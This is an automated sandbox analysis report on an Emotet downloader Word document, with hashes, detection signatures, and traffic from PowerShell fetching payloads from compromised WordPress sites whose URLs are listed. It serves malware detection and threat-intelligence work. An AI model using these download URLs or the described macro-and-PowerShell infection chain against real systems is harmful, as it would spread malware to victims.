Windows Analysis Report 704.doc

Overview

General Information

Sample Name:	704.doc
Analysis ID:	526268
MD5:	40f85d07da2533d576b1f2d7c043a2da
SHA1:	60b84d70a6511483c6de131fb62e30a99edff5c4
SHA256:	d05ec2a0134518ec74fcbee94a522c3837d82b7b5d2f162b8466850fc4f1be0d
Infos:
Most interesting Screenshot:

Detection

Emotet

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Antivirus detection for URL or domain

Yara detected Emotet Downloader

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Document contains an embedded VBA with many string operations indicating source code obfuscation

Document contains an embedded VBA macro which may execute processes

Sigma detected: Microsoft Office Product Spawning Windows Shell

Suspicious powershell command line found

Machine Learning detection for sample

Obfuscated command line found

Document contains VBA stomped code (only p-code) potentially bypassing AV detection

Document exploit detected (process start blacklist hit)

Queries the volume information (name, serial number etc) of a device

Yara signature match

Document has an unknown application name

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Internet Provider seen in connection with other malware

Document contains an embedded VBA macro which executes code when the document is opened / closed

Potential document exploit detected (performs DNS queries)

Document misses a certain OLE stream usually present in this Microsoft Office document type

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Document contains no OLE stream with summary information

Potential document exploit detected (unknown TCP traffic)

Uses a known web browser user agent for HTTP communication

Document contains embedded VBA macros

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Sigma detected: Windows Suspicious Use Of Web Request in CommandLine

Potential document exploit detected (performs HTTP gets)

Creates a process in suspended mode (likely to inject code)

Classification

Signatures

AV Detection:

Antivirus detection for URL or domain

Source: http://ckfoods.net/wp-admin/wPInm2rgMu/	Avira URL Cloud: Label: malware
Source: http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/	Avira URL Cloud: Label: malware
Source: http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/	Avira URL Cloud: Label: malware

Machine Learning detection for sample

Source: 704.doc

Joe Sandbox ML: detected

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Software Vulnerabilities:

Document exploit detected (process start blacklist hit)

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

Process created: C:\Windows\SysWOW64\cmd.exe

Potential document exploit detected (performs DNS queries)

Source: global traffic

DNS query: name: primtalent.com

Potential document exploit detected (unknown TCP traffic)

Source: global traffic

TCP traffic: 192.168.2.4:49754 -> 148.72.96.3:80

Potential document exploit detected (performs HTTP gets)

Source: global traffic

TCP traffic: 192.168.2.4:49754 -> 148.72.96.3:80

Source: winword.exe

Memory has grown: Private usage: 0MB later: 76MB

Networking:

Internet Provider seen in connection with other malware

Source: Joe Sandbox View	ASN Name: HINETDataCommunicationBusinessGroupTW HINETDataCommunicationBusinessGroupTW
Source: Joe Sandbox View	ASN Name: AS-26496-GO-DADDY-COM-LLCUS AS-26496-GO-DADDY-COM-LLCUS

Uses a known web browser user agent for HTTP communication

Source: global traffic	HTTP traffic detected: GET /wp-admin/9yt1u/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: primtalent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wordpress/6f0qIQlWPaYDfa/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: huskysb.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cgi-sys/suspendedpage.cgi HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: huskysb.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 22 Nov 2021 12:23:07 GMTServer: ApacheContent-Length: 315Keep-Alive: timeout=5Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Source: PowerShell_transcript.405464.2vRpjg5W.20211122132242.txt.6.dr	String found in binary or memory: http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/
Source: PowerShell_transcript.405464.2vRpjg5W.20211122132242.txt.6.dr	String found in binary or memory: http://ckfoods.net/wp-admin/wPInm2rgMu/
Source: PowerShell_transcript.405464.2vRpjg5W.20211122132242.txt.6.dr	String found in binary or memory: http://huskysb.com/wordpress/6f0qIQlWPaYDfa/
Source: powershell.exe, 00000006.00000002.754451635.000000000531E000.00000004.00000001.sdmp	String found in binary or memory: http://huskysb.com4
Source: PowerShell_transcript.405464.2vRpjg5W.20211122132242.txt.6.dr	String found in binary or memory: http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: powershell.exe, 00000006.00000003.729788789.00000000080F3000.00000004.00000001.sdmp, powershell.exe, 00000006.00000002.754189046.0000000005163000.00000004.00000001.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000006.00000002.754189046.0000000005163000.00000004.00000001.sdmp	String found in binary or memory: http://primtalent.com
Source: PowerShell_transcript.405464.2vRpjg5W.20211122132242.txt.6.dr	String found in binary or memory: http://primtalent.com/wp-admin/9yt1u/
Source: PowerShell_transcript.405464.2vRpjg5W.20211122132242.txt.6.dr	String found in binary or memory: http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/
Source: powershell.exe, 00000006.00000002.753910843.0000000005021000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: PowerShell_transcript.405464.2vRpjg5W.20211122132242.txt.6.dr	String found in binary or memory: http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/
Source: powershell.exe, 00000006.00000002.754189046.0000000005163000.00000004.00000001.sdmp	String found in binary or memory: http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/.Split/p
Source: powershell.exe, 00000006.00000002.754189046.0000000005163000.00000004.00000001.sdmp	String found in binary or memory: http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/XnG/.Splitplits/
Source: powershell.exe, 00000006.00000002.754189046.0000000005163000.00000004.00000001.sdmp	String found in binary or memory: http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/deXnG/.Split.Split
Source: powershell.exe, 00000006.00000002.754189046.0000000005163000.00000004.00000001.sdmp	String found in binary or memory: http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/h
Source: powershell.exe, 00000006.00000002.754189046.0000000005163000.00000004.00000001.sdmp	String found in binary or memory: http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/tp
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: powershell.exe, 00000006.00000003.729788789.00000000080F3000.00000004.00000001.sdmp, powershell.exe, 00000006.00000002.754189046.0000000005163000.00000004.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionlogging
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/authenticated
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/orgid/appinstall/authenticated
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/entitlement/query
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/apps/remove
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/entitlement/query
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.aadrm.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.aadrm.com/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.addins.store.office.com/addinstemplate
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.addins.store.office.com/app/query
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.addins.store.officeppe.com/addinstemplate
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.cortana.ai
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.diagnostics.office.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.microsoftstream.com/api/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.office.net
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.onedrive.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://apis.live.net/v5.0/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://augloop.office.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://augloop.office.com/v2
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://cdn.entity.
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://clients.config.office.net/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://config.edge.skype.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://cortana.ai
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://cortana.ai/api
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://cr.office.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://dataservice.o365filtering.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://dev.cortana.ai
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://devnull.onenote.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://directory.services.
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://enrichment.osi.office.net/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://entitlement.diagnostics.office.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: powershell.exe, 00000006.00000003.729788789.00000000080F3000.00000004.00000001.sdmp, powershell.exe, 00000006.00000002.754189046.0000000005163000.00000004.00000001.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: powershell.exe, 00000006.00000003.728233664.0000000005A8B000.00000004.00000001.sdmp	String found in binary or memory: https://go.micro
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://graph.ppe.windows.net
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://graph.ppe.windows.net/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://graph.windows.net
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://graph.windows.net/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://incidents.diagnostics.office.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://lifecycle.office.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://login.windows.local
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://management.azure.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://management.azure.com/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://messaging.office.com/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://metadata.templates.cdn.office.net/client/log
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://ncus.contentsync.
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://ncus.pagecontentsync.
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://officeapps.live.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentities
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentitiesupdated
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://onedrive.live.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://onedrive.live.com/embed?
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://osi.office.net
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://otelrules.azureedge.net
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://outlook.office.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://outlook.office.com/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://outlook.office365.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://outlook.office365.com/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
